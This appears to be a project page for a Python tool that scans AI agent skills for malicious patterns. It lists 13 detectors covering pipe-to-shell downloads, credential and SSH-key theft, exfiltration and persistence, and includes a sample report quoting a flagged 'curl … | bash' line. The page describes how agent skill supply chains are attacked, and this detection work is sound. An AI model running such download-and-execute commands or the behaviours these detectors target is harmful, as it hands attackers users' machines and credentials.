Detect malicious patterns in AI Agent skills. 13 detectors based on SlowMist ClawHub threat intelligence. Pure Python, zero dependencies.
npx skills add https://github.com/smartchainark/skill-security-audit --skill skill-security-auditInstallieren Sie diesen Skill über die CLI und beginnen Sie mit der Verwendung des SKILL.md-Workflows in Ihrem Arbeitsbereich.
Detect malicious patterns in your AI Agent skills before they steal your SSH keys.
Based on SlowMist's analysis of 472+ malicious skills discovered on the ClawHub platform, this tool scans your installed skills for backdoors, credential theft, data exfiltration, and other supply-chain attacks.
npx skills add smartchainark/skill-security-audit
Supports 39 AI Agent platforms including Claude Code, OpenClaw, Codex, Gemini CLI, GitHub Copilot, Cursor, Cline, and more.
In Claude Code, just say:
Or run manually:
python3 ~/.claude/skills/skill-security-audit/scripts/skill_audit.py
python3 ~/.claude/skills/skill-security-audit/scripts/skill_audit.py --path /path/to/skill
python3 ~/.claude/skills/skill-security-audit/scripts/skill_audit.py --json
python3 ~/.claude/skills/skill-security-audit/scripts/skill_audit.py --severity high
13 detectors covering the full attack surface:
| Detector | What It Catches | Severity |
|---|---|---|
DownloadExecDetector |
curl|bash, wget|sh, fetch+eval |
CRITICAL |
IOCMatchDetector |
Known malicious IPs, domains, URLs, file hashes | CRITICAL |
CredentialTheftDetector |
osascript password phishing, Keychain access, SSH key theft | CRITICAL |
PostInstallHookDetector |
npm postinstall, pip setup.py cmdclass |
HIGH→CRITICAL |
ObfuscationDetector |
eval/exec with non-literal args, hex encoding, chr() chains |
HIGH |
ExfiltrationDetector |
ZIP + upload combos, sensitive directory enumeration | HIGH |
PersistenceDetector |
crontab, launchd plist, systemd service, shell profile writes | HIGH |
PrivilegeEscalationDetector |
sudo, chmod 777, setuid |
HIGH |
Base64Detector |
Encoded strings >50 chars (excludes data:image, lock files) |
MEDIUM→HIGH |
EntropyDetector |
High Shannon entropy lines (>5.5, adjusted for CJK) | MEDIUM |
NetworkCallDetector |
socket, http, urllib, requests, fetch, curl, wget | MEDIUM |
HiddenCharDetector |
Zero-width characters, Unicode bidi overrides (Trojan Source) | MEDIUM |
SocialEngineeringDetector |
crypto/wallet/airdrop/security-update naming | LOW→MEDIUM |
Each finding includes severity, confidence score (0-100), file path with line number, and plain-language description.
======================================================================
SKILL SECURITY AUDIT REPORT
Scanned: 39 skills, 338 files
======================================================================
Summary: CRITICAL: 0 | HIGH: 2 | MEDIUM: 5 | LOW: 1
Skill: suspicious-helper
[CRITICAL] DownloadExecDetector
File: scripts/setup.sh:14
Download-and-execute pattern: curl pipe to shell
Confidence: 95%
> curl -s https://rentry.co/raw/xxxxx | bash
======================================================================
| Code | Meaning |
|---|---|
0 |
Clean |
1 |
Low/Medium risk |
2 |
High risk |
3 |
Critical |
4 |
Scanner error |
scripts/ioc_database.json, update without code changesdata:image, CJK text, .md docs, venv/node_modules~/.claude/skills/, ~/.openclaw/workspace/skills/, and openclaw.json extraDirsPRs welcome — new detectors, IOC updates, false positive fixes.
MIT